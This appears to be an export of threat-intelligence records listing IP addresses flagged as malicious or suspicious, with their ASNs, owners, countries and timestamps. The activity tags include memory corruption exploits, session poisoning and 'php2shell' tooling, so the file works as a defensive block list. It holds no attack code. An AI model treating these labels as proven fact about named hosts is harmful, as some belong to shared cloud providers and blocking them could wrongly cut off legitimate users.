46.203.212.238maliciousActivity + Memory Corruption ExploiteTOP sp. z o.o.AS20853Polandhosting2026-11-06 05:44:232025-04-162026-11-06 05:30:47False1G36greynoiseTrue
92.113.115.147maliciousActivity + Memory Corruption ExploiteTOP sp. z o.o.AS20853Polandhosting2026-11-05 22:14:202025-04-162026-11-05 21:53:13False1G45greynoiseTrue
92.113.115.165maliciousActivity + Memory Corruption ExploiteTOP sp. z o.o.AS20853Polandhosting2026-11-06 05:44:232025-04-162026-11-06 05:22:22False1G45greynoiseTrue
92.113.119.197maliciousMemory Corruption Exploit + Request Memory ExhaustioneTOP sp. z o.o.AS20853Polandhosting2026-11-06 19:44:222025-04-162026-11-06 19:35:32False1G5greynoiseTrue
92.113.119.231maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingeTOP sp. z o.o.AS20853Polandhosting2026-11-07 12:44:222025-04-162026-11-07 13:19:18False2G5greynoiseTrue
141.98.255.191maliciousActivity + Memory Corruption Exploit + php2shell-Labeled Tooling31173 Services ABAS39351Swedenhosting2026-10-27 21:49:042025-04-262026-10-28 21:14:10False7G51greynoiseTrue
45.146.54.100maliciousActivityF.N.S. HOLDINGS LIMITEDAS206092United Stateshosting2026-10-27 21:49:042025-05-082026-10-23 21:47:13False35G9greynoiseFalse
60.15.137.244suspiciousActivityCHINA UNICOM China169 BackboneAS4837Chinaisp2026-10-27 21:49:042025-06-022026-10-27 10:03:24False1greynoiseFalse
217.138.89.15suspiciousActivityM247 Europe SRLAS9009Singaporehosting2026-10-27 21:49:042025-06-032026-10-25 07:06:01False1greynoiseFalse
89.37.63.204maliciousActivity + Session PoisoningDatacamp LimitedAS212238Swedenhosting2026-10-27 21:49:042025-06-042026-11-08 06:19:54False2G14greynoiseTrue
40.127.252.126suspiciousActivity + php2shell-Labeled ToolingMicrosoft CorporationAS8075IrelandhostingGithub Actions2026-10-27 21:49:042025-06-072026-10-27 09:01:25False2greynoiseFalse
170.62.100.237maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingDatacamp LimitedAS212238Swedenhosting2026-10-27 21:49:042025-06-082026-10-25 05:27:22False1G56greynoiseTrue
111.14.147.72maliciousActivity + php2shell-Labeled ToolingShandong Mobile Communication Company LimitedAS24444Chinaisp2026-10-27 21:49:042025-06-112026-10-22 18:50:46False8G1greynoiseFalse
146.70.201.232maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingM247 Europe SRLAS9009Japanhosting2026-10-27 21:49:042025-06-132026-10-22 22:43:01False80G10greynoiseTrue
158.140.191.123maliciousActivity + php2shell-Labeled ToolingPT. Eka Mas RepublikAS63859Indonesiaisp2026-10-27 21:49:042025-06-232026-10-23 11:38:09False16greynoiseFalse
173.0.9.169suspiciousActivityTier.Net Technologies LLCAS397423United Stateshosting2026-10-27 21:49:042025-06-282026-10-21 23:26:53False1greynoiseFalse
23.234.113.169maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled Toolingtzulo, inc.AS11878United Stateshosting2026-10-27 21:49:042025-07-092026-10-30 14:48:18False15greynoiseTrue
45.156.87.44maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingTechTies Inc.AS197170Netherlandshosting2026-10-27 21:49:042025-07-092026-11-08 15:33:26False6623greynoiseTrue
23.234.117.66maliciousActivity + Session Poisoningtzulo, inc.AS11878United Stateshosting2026-10-27 21:49:042025-07-132026-11-05 21:57:34False19G8greynoiseTrue
5.104.86.24maliciousActivity + Session PoisoningContabo Asia Private LimitedAS141995Japanhosting2026-10-27 21:49:042025-07-152026-10-29 15:55:06False2greynoiseTrue
89.37.63.146maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingDatacamp LimitedAS212238Swedenhosting2026-10-27 21:49:042025-07-302026-10-25 05:44:28False2G14greynoiseTrue
223.181.62.146maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingBharti Airtel Ltd., Telemedia ServicesAS24560Indiaisp2026-10-27 21:49:042025-08-012026-10-23 10:40:08False2G8greynoiseTrue
185.177.72.45maliciousMemory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingBucklog SARLAS211590Francehosting2026-10-27 21:49:042025-08-032026-11-08 07:25:53False50greynoiseTrue
46.37.123.14maliciousActivity + Request Memory Exhaustion + php2shell-Labeled ToolingFREAKHOSTING LTDAS215703Germanyhosting2026-10-29 07:44:172025-08-042026-11-05 04:43:33False221greynoiseTrue
46.250.228.73suspiciousActivity + php2shell-Labeled ToolingContabo Asia Private LimitedAS141995Singaporehosting2026-10-27 21:49:042025-08-112026-10-23 09:37:07False1greynoiseFalse
23.168.216.159suspiciousActivityHayashimo LLCAS399935United Statesbusiness2026-10-27 21:49:042025-08-232026-11-02 01:15:42False37greynoiseFalse
144.48.4.242maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingEDGENAP LTDAS61414Japanhosting2026-10-27 21:49:042025-08-302026-10-24 20:18:42False3greynoiseTrue
147.182.171.144maliciousSession PoisoningDigitalOcean, LLCAS14061United StateshostingDigitalOcean2026-11-04 06:14:242025-08-302026-11-04 07:59:56False33greynoiseTrue
170.62.100.187maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingDatacamp LimitedAS212238Swedenhosting2026-10-27 21:49:042025-09-292026-11-05 16:12:48False15G56greynoiseTrue
159.26.103.219maliciousActivity + Session PoisoningProton AGAS208172United Stateshosting2026-11-04 06:44:192025-10-022026-11-04 06:07:43False4G15greynoiseTrue
92.88.98.199maliciousActivity + Session PoisoningSociete Francaise Du Radiotelephone - SFR SAAS15557Franceisp2026-11-07 13:44:192025-10-042026-11-07 13:29:39False10greynoiseTrue
23.236.169.180maliciousActivity + php2shell-Labeled ToolingB2 Net Solutions Inc.AS55286United Stateshosting2026-10-28 03:44:202025-10-072026-11-06 09:33:02False152G17greynoiseFalse
185.252.220.147maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingM247 Europe SRLAS9009Romaniahosting2026-10-27 21:49:042025-10-102026-10-23 14:52:48False2G8greynoiseTrue
104.28.208.84suspiciousActivityCloudflare, Inc.AS13335Bangladeshhosting2026-10-27 21:49:042025-10-122026-11-08 04:04:29False20greynoiseFalse
193.32.248.237maliciousActivity + Session Poisoning31173 Services ABAS39351Germanyhosting2026-11-05 04:44:252025-10-122026-11-06 05:10:58False8G1greynoiseTrue
149.102.244.115maliciousActivity + php2shell-Labeled ToolingDatacamp LimitedAS212238Polandhosting2026-10-27 21:49:042025-10-132026-10-29 01:19:32False3greynoiseFalse
178.249.209.166maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingDatacamp LimitedAS212238Czech Republichosting2026-10-27 21:49:042025-10-132026-11-04 21:02:45False27G53greynoiseTrue
122.226.156.14suspiciousphp2shell-Labeled ToolingCHINANET BACKBONEAS4134Chinaisp2026-10-29 03:44:282025-10-142026-10-30 03:20:17False8G33greynoiseFalse
138.199.43.94maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingDatacamp LimitedAS212238United Stateshosting2026-10-27 21:49:042025-10-142026-11-08 13:11:38False44G10greynoiseTrue
185.220.100.246maliciousphp2shell-Labeled ToolingF3 Netze e.V.AS205100Germanyhosting2026-10-27 21:49:042025-10-142026-11-08 14:33:16False133greynoiseFalse
185.226.198.4maliciousActivityNSEC - Sistemas Informaticos, S.A.AS211680United Stateshosting2026-10-31 02:14:212025-10-142026-11-08 15:31:07False4900greynoiseFalse
193.32.249.163maliciousActivity + Session Poisoning31173 Services ABAS39351Netherlandshosting2026-11-05 04:44:252025-10-142026-11-08 13:06:44False46G1greynoiseTrue
23.234.81.67maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled Toolingtzulo, inc.AS11878United Stateshosting2026-10-31 01:14:222025-10-152026-11-08 15:36:38False15greynoiseTrue
39.175.86.175suspiciousphp2shell-Labeled ToolingChina Mobile communications corporationAS56041Chinaisp2026-10-29 05:14:192025-10-152026-10-30 03:23:41False2G33greynoiseFalse
185.220.101.98maliciousActivity + php2shell-Labeled ToolingStiftung Erneuerbare FreiheitAS60729Germanyeducation2026-10-31 04:14:222025-10-152026-11-08 05:56:54False61G21greynoiseFalse
213.230.92.12maliciousphp2shell-Labeled Tooling"Uzbektelekom" Joint Stock CompanyAS8193Uzbekistanisp2026-10-27 21:49:042025-10-152026-11-08 14:23:29False208greynoiseFalse
45.134.79.75maliciousActivity + Session PoisoningHostRoyale Technologies Pvt LtdAS39486Francehosting2026-11-05 16:14:212025-10-162026-11-05 15:37:10False1G1greynoiseTrue
149.102.229.156maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingDatacamp LimitedAS212238Turkeyhosting2026-10-27 21:49:042025-10-162026-10-22 11:55:17False16G10greynoiseTrue
143.110.193.102maliciousSession PoisoningDigitalOcean, LLCAS14061United StateshostingDigitalOcean2026-11-04 06:14:242025-10-172026-11-04 08:47:41False41greynoiseTrue
221.15.132.55suspiciousActivityCHINA UNICOM China169 BackboneAS4837Chinaisp2026-10-27 21:49:042025-10-182026-10-24 03:16:43False1greynoiseFalse
212.95.52.99maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingLeaseweb Deutschland GmbHAS28753GermanyhostingLeaseweb2026-10-28 02:14:262025-10-212026-10-28 01:57:00False4G25greynoiseTrue
177.191.114.110maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingALGAR TELECOM S/AAS53006Brazilisp2026-11-06 01:14:222025-10-252026-11-06 00:51:27False4greynoiseTrue
45.148.10.80maliciousActivity + Session PoisoningTECHOFF SRV LIMITEDAS48090Netherlandshosting2026-10-27 21:49:042025-10-272026-11-08 12:27:07False352G34greynoiseTrue
92.113.119.236maliciousActivity + Memory Corruption ExploiteTOP sp. z o.o.AS20853Polandhosting2026-11-07 12:44:222025-10-282026-11-07 12:03:32False3G5greynoiseTrue
95.173.222.49maliciousSession PoisoningDatacamp LimitedAS212238Francehosting2026-11-03 00:14:202025-10-292026-11-05 11:46:18False7greynoiseTrue
92.63.205.138suspiciousActivity"Uzbektelekom" Joint Stock CompanyAS201767Uzbekistanisp2026-10-27 21:49:042025-10-302026-11-07 14:51:38False41greynoiseFalse
185.77.218.14maliciousActivity + Session PoisoningOy Creanova Hosting Solutions Ltd.AS51765Finlandhosting2026-11-05 05:14:452025-10-302026-11-05 18:18:59False2G1greynoiseTrue
185.201.188.30maliciousActivity + Session PoisoningHostRoyale Technologies Pvt LtdAS203020United Kingdomhosting2026-11-05 07:14:442025-10-302026-11-05 22:02:20False3greynoiseTrue
146.70.202.36suspiciousphp2shell-Labeled ToolingM247 Europe SRLAS9009United Stateshosting2026-11-06 12:14:272025-10-312026-11-06 12:11:28False10G52greynoiseFalse
185.65.135.250maliciousActivity + Memory Corruption Exploit + php2shell-Labeled Tooling31173 Services ABAS39351Swedenhosting2026-10-27 21:49:042025-10-312026-11-07 16:26:52False14greynoiseTrue
46.203.202.108maliciousActivity + Memory Corruption ExploiteTOP sp. z o.o.AS20853Polandhosting2026-11-07 12:44:222025-11-032026-11-07 11:48:13False1G5greynoiseTrue
107.189.1.160maliciousActivity + php2shell-Labeled ToolingFranTech SolutionsAS53667Switzerlandhosting2026-11-01 23:44:222025-11-032026-11-08 12:24:07False90G25greynoiseFalse
20.61.126.216suspiciousActivityMicrosoft CorporationAS8075NetherlandshostingGithub Actions2026-10-27 21:49:042025-11-042026-10-26 15:38:51False540greynoiseFalse
164.92.254.45suspiciousphp2shell-Labeled ToolingDigitalOcean, LLCAS14061GermanyhostingDigitalOcean2026-10-27 21:49:042025-11-042026-10-22 13:27:54False6greynoiseFalse
185.213.154.227maliciousActivity + Session Poisoning31173 Services ABAS39351Swedenhosting2026-11-06 10:44:212025-11-042026-11-08 15:40:47False62G1greynoiseTrue
91.246.127.199suspiciousActivityJSC ER-Telecom HoldingAS50498Russiaisp2026-10-27 21:49:042025-11-062026-10-25 06:30:56False190greynoiseFalse
216.73.163.23maliciousActivityF.N.S. HOLDINGS LIMITEDAS206092United Stateshosting2026-10-27 21:49:042025-11-072026-10-23 21:47:06False33G3greynoiseFalse
193.32.127.182maliciousActivity + Session Poisoning31173 Services ABAS39351Switzerlandhosting2026-11-05 16:44:192025-11-082026-11-05 18:06:16False3G1greynoiseTrue
146.70.202.35suspiciousphp2shell-Labeled ToolingM247 Europe SRLAS9009United Stateshosting2026-11-05 14:44:242025-11-092026-11-08 11:05:58False5G52greynoiseFalse
185.65.134.201maliciousphp2shell-Labeled Tooling31173 Services ABAS39351Netherlandshosting2026-10-29 12:44:192025-11-092026-10-31 14:57:29False116G58greynoiseFalse
85.17.159.21maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingLeaseWeb Netherlands B.V.AS60781NetherlandshostingLeaseweb2026-11-04 21:14:532025-11-102026-11-04 21:07:57False1G41greynoiseTrue
103.125.233.28maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingxTomAS9312Hong Konghosting2026-11-01 03:44:172025-11-102026-11-02 03:35:06False36G48greynoiseTrue
149.88.104.9suspiciousActivityDatacamp LimitedAS212238Chilehosting2026-10-30 02:14:232025-11-102026-10-30 01:41:44False3greynoiseFalse
92.113.119.141maliciousActivity + Memory Corruption ExploiteTOP sp. z o.o.AS20853Polandhosting2026-11-05 19:44:172025-11-122026-11-05 19:13:40False1G5greynoiseTrue
103.107.198.231suspiciousActivityGSL Networks Pty LTDAS137409Singaporehosting2026-10-27 21:49:042025-11-122026-10-24 21:12:46False1G24greynoiseFalse
143.198.209.212maliciousphp2shell-Labeled ToolingDigitalOcean, LLCAS14061SingaporehostingDigitalOcean2026-10-27 21:49:042025-11-122026-11-08 15:03:26False5greynoiseFalse
185.95.206.51suspiciousActivity + php2shell-Labeled ToolingASIACELL COMMUNICATIONS PJSCAS215597Iraqisp2026-10-27 21:49:042025-11-122026-10-26 15:58:28False3greynoiseFalse
134.209.252.157maliciousActivity + Session Poisoning + php2shell-Labeled ToolingDigitalOcean, LLCAS14061GermanyhostingDigitalOcean2026-10-27 21:49:042025-11-182026-10-25 23:13:09False463greynoiseTrue
159.26.110.122maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingProton AGAS208172Polandhosting2026-10-27 21:49:042025-11-262026-10-27 12:25:30False7G54greynoiseTrue
45.134.79.80maliciousActivity + Session PoisoningHostRoyale Technologies Pvt LtdAS39486Francehosting2026-11-05 11:14:192025-11-292026-11-05 10:38:39False1G1greynoiseTrue
206.71.169.144maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingM5 Computer SecurityAS21581United Stateshosting2026-10-27 21:49:042025-12-052026-10-23 21:55:12False3greynoiseTrue
51.143.62.244maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + Session Poisoning + php2shell-Labeled ToolingMicrosoft CorporationAS8075United StateshostingGithub Actions2026-10-27 21:49:042025-12-062026-10-22 00:57:17False2greynoiseTrue
31.169.53.9maliciousActivity + Session PoisoningBlix Solutions ASAS50304Norwayhosting2026-11-06 03:14:252025-12-082026-11-06 02:42:49False3G1greynoiseTrue
216.26.225.97maliciousActivity + Session Poisoning3xK Tech GmbHAS200373United Stateshosting2026-10-31 14:14:222025-12-082026-10-31 13:58:51False2greynoiseTrue
45.3.55.172maliciousActivity + Memory Corruption Exploit + php2shell-Labeled Tooling3xK Tech GmbHAS200373Germanyhosting2026-11-08 14:44:222025-12-112026-11-08 14:17:38False1greynoiseTrue
65.111.25.216suspiciousActivity3xK Tech GmbHAS200373Germanyhosting2026-11-08 10:14:272025-12-112026-11-08 09:44:10False1greynoiseFalse
46.203.202.192maliciousActivity + Memory Corruption Exploit + Request Memory ExhaustioneTOP sp. z o.o.AS20853Polandhosting2026-11-06 19:14:212025-12-122026-11-06 19:06:36False1G5greynoiseTrue
154.26.182.240maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingDMIT Cloud ServicesAS906United Stateshosting2026-10-27 21:49:042025-12-122026-10-26 10:33:23False1G26greynoiseTrue
94.154.43.7maliciousActivity + Memory Corruption Exploit + Request Memory ExhaustionStorm Industries LLCAS219502Netherlandshosting2026-10-27 21:49:042025-12-152026-10-28 17:14:40False7053G1greynoiseTrue
94.154.43.100maliciousActivity + Session PoisoningStorm Industries LLCAS219502Netherlandshosting2026-10-27 21:49:042025-12-152026-10-29 06:12:02False7081G1greynoiseTrue
94.154.43.149maliciousActivity + Session PoisoningStorm Industries LLCAS219502Netherlandshosting2026-10-27 21:49:042025-12-152026-10-29 02:59:07False5917G1greynoiseTrue
94.154.43.185maliciousActivity + Session PoisoningStorm Industries LLCAS219502Netherlandshosting2026-10-27 21:49:042025-12-152026-10-28 00:07:07False5853G1greynoiseTrue
94.154.43.219maliciousActivity + php2shell-Labeled ToolingStorm Industries LLCAS219502Netherlandshosting2026-10-27 21:49:042025-12-152026-10-27 22:31:17False2921G1greynoiseFalse
94.154.43.222maliciousActivity + php2shell-Labeled ToolingStorm Industries LLCAS219502Netherlandshosting2026-10-27 21:49:042025-12-152026-10-26 15:23:37False6883G1greynoiseFalse
94.154.43.187maliciousActivity + Session PoisoningStorm Industries LLCAS219502Netherlandshosting2026-10-27 21:49:042025-12-162026-10-28 00:07:13False5849G1greynoiseTrue
94.154.43.189maliciousActivity + Session PoisoningStorm Industries LLCAS219502Netherlandshosting2026-10-27 21:49:042025-12-162026-11-01 16:00:07False5968G1greynoiseTrue
82.25.224.136maliciousActivity + Memory Corruption ExploitBlueVPS OUAS62005Polandhosting2026-11-06 05:44:232025-12-182026-11-07 10:13:06False3greynoiseTrue
158.174.210.97maliciousphp2shell-Labeled ToolingBahnhof ABAS8473Swedenisp2026-10-27 21:49:042025-12-192026-11-08 02:35:32False55greynoiseFalse
165.73.244.77maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingPsychz NetworksAS40676United Stateshosting2026-11-01 20:44:282026-01-052026-11-02 03:10:40False100greynoiseTrue
192.140.154.1maliciousActivity + Session PoisoningExcitel Broadband Private LimitedAS133982Indiaisp2026-10-27 21:49:042026-01-062026-10-22 06:05:18False3greynoiseTrue
146.70.224.226maliciousRequest Memory ExhaustionM247 Europe SRLAS9009Hong Konghosting2026-10-27 21:49:042026-01-072026-10-25 11:42:28False6greynoiseTrue
31.56.19.2suspiciousphp2shell-Labeled ToolingBlatant Technologies, LLCAS403005Germanyhosting2026-10-27 21:49:042026-01-142026-11-06 14:28:33False4172greynoiseFalse
182.2.177.82maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingPT. Telekomunikasi SelularAS23693Indonesiaisp2026-10-27 21:49:042026-01-172026-10-25 06:19:38False2greynoiseTrue
104.248.238.110maliciousSession PoisoningDigitalOcean, LLCAS14061United StateshostingDigitalOcean2026-11-04 06:44:192026-01-212026-11-04 07:33:34False36greynoiseTrue
130.12.180.42maliciousActivity + Memory Corruption Exploit + Request Memory ExhaustionOmegatech LTDAS202412Germanyhosting2026-10-27 21:49:042026-02-062026-10-25 05:43:48False6904G6greynoiseTrue
31.205.224.183maliciousphp2shell-Labeled ToolingASK4 LimitedAS41230United Kingdomisp2026-10-27 21:49:042026-02-072026-10-22 21:22:24False10greynoiseFalse
85.11.167.104maliciousActivityTechTies Inc.AS197170Netherlandshosting2026-10-27 21:49:042026-02-092026-11-03 14:26:00False63G7greynoiseFalse
80.66.66.66maliciousActivitySOLDATOV ALEXEY VALEREVICHAS209702Bulgariahosting2026-10-27 21:49:042026-02-162026-11-08 11:19:23False134greynoiseFalse
193.178.226.197maliciousActivityLiam KremerAS216078Netherlandshosting2026-10-27 21:49:042026-02-192026-10-31 13:04:32False43G23greynoiseFalse
23.234.72.177suspiciousActivitytzulo, inc.AS11878United Stateshosting2026-10-27 21:49:042026-02-262026-10-23 11:59:53False3greynoiseFalse
192.42.116.100maliciousActivityChurch of CyberologyAS215125Netherlandshosting2026-10-27 21:49:042026-02-262026-11-08 13:23:17False353greynoiseFalse
128.90.49.6suspiciousActivityPowerhouse Management, Inc.AS22363Singaporehosting2026-10-27 21:49:042026-03-032026-10-23 15:00:32False2G7greynoiseFalse
45.150.108.223maliciousphp2shell-Labeled ToolingBlueVPS OUAS62005Israelhosting2026-10-27 21:49:042026-03-042026-10-31 10:45:37False46G6greynoiseFalse
112.220.222.253maliciousphp2shell-Labeled ToolingLG DACOM CorporationAS3786South Koreaisp2026-11-03 10:44:242026-03-062026-11-08 13:38:19False168greynoiseFalse
152.42.195.115maliciousActivity + Session PoisoningDigitalOcean, LLCAS14061SingaporehostingDigitalOcean2026-10-27 21:49:042026-03-062026-10-22 15:39:29False124greynoiseTrue
193.109.120.200maliciousphp2shell-Labeled ToolingBlueVPS OUAS62005Estoniahosting2026-10-27 21:49:042026-03-082026-11-07 18:37:52False71G6greynoiseFalse
20.200.234.181maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingMicrosoft CorporationAS8075South KoreahostingAzure2026-10-27 21:49:042026-03-092026-11-03 06:39:22False492greynoiseTrue
35.154.84.153maliciousActivity + Session Poisoning + php2shell-Labeled ToolingAmazon.com, Inc.AS16509IndiahostingAmazon EC22026-10-27 21:49:042026-03-092026-10-25 22:00:36False2greynoiseTrue
52.250.54.233maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingMicrosoft CorporationAS8075United StateshostingGithub Actions2026-10-27 21:49:042026-03-092026-10-22 04:38:05False1greynoiseTrue
92.118.124.183suspiciousphp2shell-Labeled ToolingBlueVPS OUAS62005Israelhosting2026-10-27 21:49:042026-03-102026-11-07 13:37:50False46G6greynoiseFalse
46.101.229.142maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingDigitalOcean, LLCAS14061GermanyhostingDigitalOcean2026-10-27 21:49:042026-03-152026-10-22 02:32:59False2greynoiseTrue
20.87.120.146maliciousActivity + Session Poisoning + php2shell-Labeled ToolingMicrosoft CorporationAS8075South AfricahostingAzure2026-10-27 21:49:042026-03-222026-10-23 21:00:05False1greynoiseTrue
192.9.168.47maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingOracle CorporationAS31898AustraliahostingOracle Cloud Infrastructure2026-10-27 21:49:042026-04-012026-10-31 05:16:08False3922greynoiseTrue
103.174.236.113suspiciousphp2shell-Labeled ToolingPT Global Erasiber TeknologiAS147106Indonesiaisp2026-10-31 07:14:402026-04-102026-10-31 06:32:14False6greynoiseFalse
2.59.133.151maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustiondataforest GmbHAS58212Germanyhosting2026-10-28 02:14:262026-04-112026-10-31 19:34:26False47greynoiseTrue
103.215.239.250maliciousphp2shell-Labeled ToolingTurunc Smart Bilgisayar Teknoloji Ve Dis Ticaret Limited SirketiAS48011Netherlandshosting2026-10-27 21:49:042026-04-202026-10-22 23:35:36False3greynoiseFalse
45.138.12.22maliciousActivity + Session PoisoningTC DATACENTER LIMITEDAS218785Polandhosting2026-11-02 04:14:192026-04-252026-11-07 04:47:14False2040G4greynoiseTrue
45.138.12.103maliciousActivity + Session PoisoningTC DATACENTER LIMITEDAS218785Polandhosting2026-11-02 03:44:252026-04-272026-11-07 05:43:23False1315G4greynoiseTrue
176.65.139.168maliciousMemory Corruption Exploit + Request Memory ExhaustionStorm Industries LLCAS219502Germanyhosting2026-10-27 21:49:042026-05-022026-10-27 18:54:41False223greynoiseTrue
88.216.36.31maliciousActivity + php2shell-Labeled ToolingUAB "Cherry Servers"AS213896Germanyhosting2026-10-27 21:49:042026-05-042026-11-01 17:32:45False8G11greynoiseFalse
170.78.128.47maliciousActivity + php2shell-Labeled ToolingQUALITY TELECOM LTDAAS266279Brazilisp2026-10-27 21:49:042026-05-052026-10-27 23:13:27False2G57greynoiseFalse
119.59.101.74maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + Session Poisoning + php2shell-Labeled Tooling453 Ladplacout JorakhaebuaAS56067Thailandhosting2026-10-27 21:49:042026-05-102026-10-23 13:38:37False2greynoiseTrue
93.123.109.178maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingTECHOFF SRV LIMITEDAS48090Netherlandshosting2026-11-05 06:14:502026-05-152026-11-06 14:22:14False432greynoiseTrue
200.189.29.14maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingSpace Exploration Technologies CorporationAS14593Brazilisp2026-11-04 22:44:202026-05-152026-11-06 00:46:06False96greynoiseTrue
95.139.123.158maliciousActivity + Session Poisoning + php2shell-Labeled ToolingMTS PJSCAS8359Russiaisp2026-10-29 18:14:192026-05-252026-10-31 10:42:44False70greynoiseTrue
185.213.154.233maliciousActivity + Session Poisoning31173 Services ABAS39351Swedenhosting2026-11-05 02:44:202026-05-292026-11-06 03:37:42False6G1greynoiseTrue
45.129.56.139maliciousActivity + Session Poisoning31173 Services ABAS39351Denmarkhosting2026-11-05 02:44:202026-06-022026-11-05 10:17:16False4G1greynoiseTrue
103.184.179.164suspiciousphp2shell-Labeled ToolingPT Hostnet Data GlobalAS149662Indonesiaisp2026-10-27 21:49:042026-06-042026-10-25 11:22:28False2greynoiseFalse
38.65.63.78maliciousSession PoisoningTEC of Jackson, Inc.AS17253United Statesisp2026-10-31 14:14:222026-06-062026-10-31 13:44:48False1greynoiseTrue
46.205.208.16maliciousActivity + Session Poisoning + php2shell-Labeled ToolingT-Mobile Polska S.A.AS12912Polandisp2026-10-27 21:49:042026-06-062026-10-28 22:20:14False1G20greynoiseTrue
13.140.140.94maliciousActivityContabo GmbHAS51167FrancehostingContabo2026-10-30 07:44:252026-06-072026-11-08 13:53:39False66G27greynoiseFalse
35.144.13.72maliciousActivity + Session PoisoningCharter Communications LLCAS20115United Statesisp2026-10-31 15:44:182026-06-072026-10-31 15:12:48False1greynoiseTrue
100.33.130.127maliciousActivity + Session PoisoningVerizon BusinessAS701United Statesisp2026-11-04 07:44:162026-06-102026-11-04 06:51:10False2G15greynoiseTrue
146.70.98.138maliciousActivity + Session PoisoningM247 Europe SRLAS9009United Stateshosting2026-10-27 21:49:042026-06-112026-10-25 18:52:07False6greynoiseTrue
20.175.251.252suspiciousActivity + php2shell-Labeled ToolingMicrosoft CorporationAS8075CanadahostingGithub Actions2026-10-27 21:49:042026-06-122026-10-22 08:30:22False1greynoiseFalse
190.129.102.73suspiciousActivity + php2shell-Labeled ToolingEMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMAAS6568Boliviaisp2026-11-07 10:44:202026-06-132026-11-07 14:21:22False3greynoiseFalse
91.231.186.123maliciousActivityClouviderAS62240United Kingdomhosting2026-10-27 21:49:042026-06-152026-10-22 05:43:39False2greynoiseFalse
129.153.133.23maliciousActivity + Session PoisoningOracle CorporationAS31898United StateshostingOracle Cloud Infrastructure2026-10-27 21:49:042026-06-162026-11-06 09:52:09False16greynoiseTrue
172.166.156.171maliciousActivityMicrosoft CorporationAS8075United KingdomhostingAzure2026-10-27 21:49:042026-06-162026-10-22 12:20:58False8greynoiseFalse
121.127.33.74maliciousActivity + Session Poisoning + php2shell-Labeled ToolingPrivex Inc.AS210083Swedenhosting2026-10-27 21:49:042026-06-172026-10-27 19:30:59False6G20greynoiseTrue
159.26.110.129maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingProton AGAS208172Polandhosting2026-10-27 21:49:042026-06-172026-11-02 22:09:31False11G54greynoiseTrue
185.130.45.226maliciousActivity + Memory Corruption Exploit + Request Memory ExhaustionPrivex Inc.AS210083Swedenhosting2026-10-27 21:49:042026-06-172026-10-23 12:36:03False3greynoiseTrue
202.128.115.15maliciousSession PoisoningLeaptelAS134090Australiaisp2026-11-04 07:44:162026-06-172026-11-04 06:51:22False2greynoiseTrue
159.26.122.28maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingProton AGAS208172Argentinahosting2026-11-08 04:44:152026-06-192026-11-08 08:11:58False2greynoiseTrue
141.94.33.148maliciousphp2shell-Labeled ToolingOVH SASAS16276Francehosting2026-10-27 21:49:042026-06-262026-11-08 14:26:43False800greynoiseFalse
20.204.147.74maliciousActivity + Request Memory Exhaustion + Session Poisoning + php2shell-Labeled ToolingMicrosoft CorporationAS8075IndiahostingAzure2026-10-27 21:49:042026-07-022026-10-27 22:04:39False70greynoiseTrue
77.91.71.3maliciousActivity + php2shell-Labeled ToolingAlferov Aleksey AleksandrovichAS211486Netherlandshosting2026-10-27 21:49:042026-07-102026-11-08 09:30:33False2091greynoiseFalse
94.23.200.16suspiciousphp2shell-Labeled ToolingOVH SASAS16276Francehosting2026-10-27 21:49:042026-07-152026-10-23 03:41:23False79greynoiseFalse
2.27.248.209maliciousActivityDEDIK SERVICES LIMITEDAS207043Germanyhosting2026-10-27 21:49:042026-07-192026-11-05 18:37:25False6504G27greynoiseFalse
64.113.5.98suspiciousActivityDatacamp LimitedAS212238United Stateshosting2026-10-27 21:49:042026-07-212026-11-08 05:07:48False72greynoiseFalse
72.251.215.19maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingProton AGAS208172Israelhosting2026-10-27 21:49:042026-07-212026-10-22 14:30:45False7G8greynoiseTrue
185.215.232.194maliciousActivityARVANCLOUD GLOBAL TECHNOLOGIES L.L.CAS208006United Arab Emirateshosting2026-10-30 22:44:172026-07-222026-11-08 13:49:31False2greynoiseFalse
23.238.31.189maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingHostPapaAS36352United Stateshosting2026-10-27 21:49:042026-07-232026-10-27 02:55:39False2G10greynoiseTrue
